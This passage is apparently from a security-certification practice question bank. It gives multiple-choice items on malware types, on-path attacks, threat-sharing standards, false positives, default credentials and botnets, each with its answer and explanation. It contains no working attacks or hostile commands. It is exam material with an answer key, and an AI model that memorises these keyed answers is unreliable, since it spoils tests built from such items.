C. Memory leaks can cause crashes, resulting in an outage. This targets the availability leg of the CIA (confidentiality, integrity, and availability) triad, making it a security issue. Memory leaks do not actually leak to other locations, nor do they allow code injection. Instead memory leaks cause memory exhaustion or other issues over time as memory is not properly reclaimed.

A browser toolbar is an example of what type of malware? A. A rootkit B. A RAT C. A worm D. A PUP

D. Browser toolbars are sometimes examples of PUPs, or potentially unwanted programs like spyware or adware. A worm is a type of malware that spreads on its own by exploiting vulnerabilities on network-connected systems. Once it infects a system, it will typically scan for other vulnerable systems and continue to spread. A RAT is a remote-access Trojan, and a rootkit is used to gain and keep administrative access.

Under which type of attack does an attacker's system appear to be the server to the real client and appear to be the client to the real server? A. Denial-of-service B. Replay C. Eavesdropping D. On-path

D. In the on-path (man-in-the-middle) attack, the attacker is between the client and the server, and to either end, the attacker appears like the legitimate other end. This does not describe any denial-of-service attack. A replay attack involves resending login information. Although an on-path attack can be used to perform eavesdropping, in this scenario the best answer is an on-path attack.

The U.S. Department of Homeland Security (DHS) provides an automated indicator sharing (AIS) service that allows for the federal government and private sector organizations to share threat data in real time. The AIS service uses open source protocols and standards to exchange this information. Which of the following standards does the AIS service use? A. HTML and HTTPS B. SFTP and XML C. STIX and TRIX D. STIX and TAXII

D. The AIS service uses STIX and TAXII. STIX and TAXII are open standards that the Department of Homeland Security started the development of and uses for this type of effort. You can read more about AIS here: www.us-cert.gov/ais.

Amanda scans a Red Hat Linux server that she believes is fully patched and discovers that the Apache version on the server is reported as vulnerable to an exploit from a few months ago. When she checks to see if she is missing patches, Apache is fully patched. What has occurred? A. A false positive B. An automatic update failure C. A false negative D. An Apache version mismatch

A. This is an example of a false positive. A false positive can cause a vulnerability to show that was not actually there. This sometimes happens when a patch or fix is installed but the application does not change in a way that shows the change, and it has been an issue with updates where the version number is the primary check for a vulnerability. When a vulnerability scanner sees a vulnerable version number but a patch has been installed that does not update it, a false positive report can occur. A false negative would report a patch or fix where there was actually a vulnerability. Automatic updates were not mentioned, nor was a specific Apache version

Scott wants to determine where an organization's wireless network can be accessed from. What testing techniques are his most likely options? A. OSINT and active scans B. War driving and war flying C. Social engineering and active scans D. OSINT and war driving

B. The best way for Scott to determine where an organization's wireless networks can be accessed from is to use war driving, war flying, and/or war walking techniques to map out the wireless signal footprint of the organization. OSINT and active scans would be useful gathering information about the organization and its systems, but not about its wireless networks range and accessibility, and social engineering is more likely to be useful for gathering information or gaining access to facilities or systems.

Juan is responsible for incident response at a large financial institution. He discovers that the company Wi-Fi has been breached. The attacker used the same login credentials that ship with the wireless access point (WAP). The attacker was able to use those credentials to access the WAP administrative console and make changes. Which of the following best describes what caused this vulnerability to exist? A. Improperly configured accounts B. Untrained users C. Using default settings D. Failure to patch systems

C. Using default settings is a form of weak configuration. Many vulnerability scanners and attack tools have default settings built-in to test with, and default settings are easily obtained for most devices with a quick search of the Internet. Configuring the accounts is not the issue; changing default passwords and settings is. Although training users is important, that's not the issue in this scenario. Patching systems is important, but that won't change default settings

Gerald is a network administrator for a small financial services company. Users are reporting odd behavior that appears to be caused by a virus on their machines. After isolating the machines that he believes are infected, Gerald analyzes them. He finds that all the infected machines received an email purporting to be from accounting, with an Excel spreadsheet, and the users opened the spreadsheet. What is the most likely issue on these machines? A. A macro virus B. A boot sector virus C. A Trojan horse D. A RAT

A. A macro virus is a malicious script (macro) embedded into a file, typically a Microsoft Office file. They are typically written in Visual Basic for Applications (VBA) script. A boot sector virus infects the boot sector of the hard drive. A Trojan horse is malware that is tied to a legitimate program. In this scenario, the malware is actually embedded in an Office document. The two are similar, but not the same. A remote access Trojan (RAT) is a Trojan horse that gives the attacker remote access to the machine.

Chris needs visibility into connection attempts through a firewall because he believes that a TCP handshake is not properly occurring. What security information and event management (SIEM) capability is best suited to troubleshooting this issue? A. Reviewing reports B. Packet capture C. Sentiment analysis D. Log collection and analysis

B. When troubleshooting TCP handshakes, the most valuable tool in many cases is packet capture. If Chris sees a series of SYN packets without the handshake being completed, he can be reasonably sure the firewall is blocking traffic. Reviewing reports or logs may be useful for this as well but won't show the TCP handshake issue mentioned in the problem, and sentiment analysis is focused on how individuals and groups are responding, not on a technical problem

Teresa is the security manager for a mid-sized insurance company. She receives a call from law enforcement, telling her that some computers on her network participated in a massive denial-of-service (DoS) attack. Teresa is certain that none of the employees at her company would be involved in a cybercrime. What would best explain this scenario? A. It is a result of social engineering. B. The machines all have backdoors. C. The machines are bots. D. The machines are infected with crypto-viruses.

C. The machines in her network are being used as bots, and the users are not aware that they are part of a distributed denial-of-service (DDoS) attack. Social engineering is when someone tries to manipulate you into giving information. Techniques involved in social engineering attacks include consensus, scarcity, and familiarity. There is a slight chance that all computers could have a backdoor, but that is very unlikely, and attackers normally don't manually log into each machine to do a DDoS—it would be automated, as through a bot.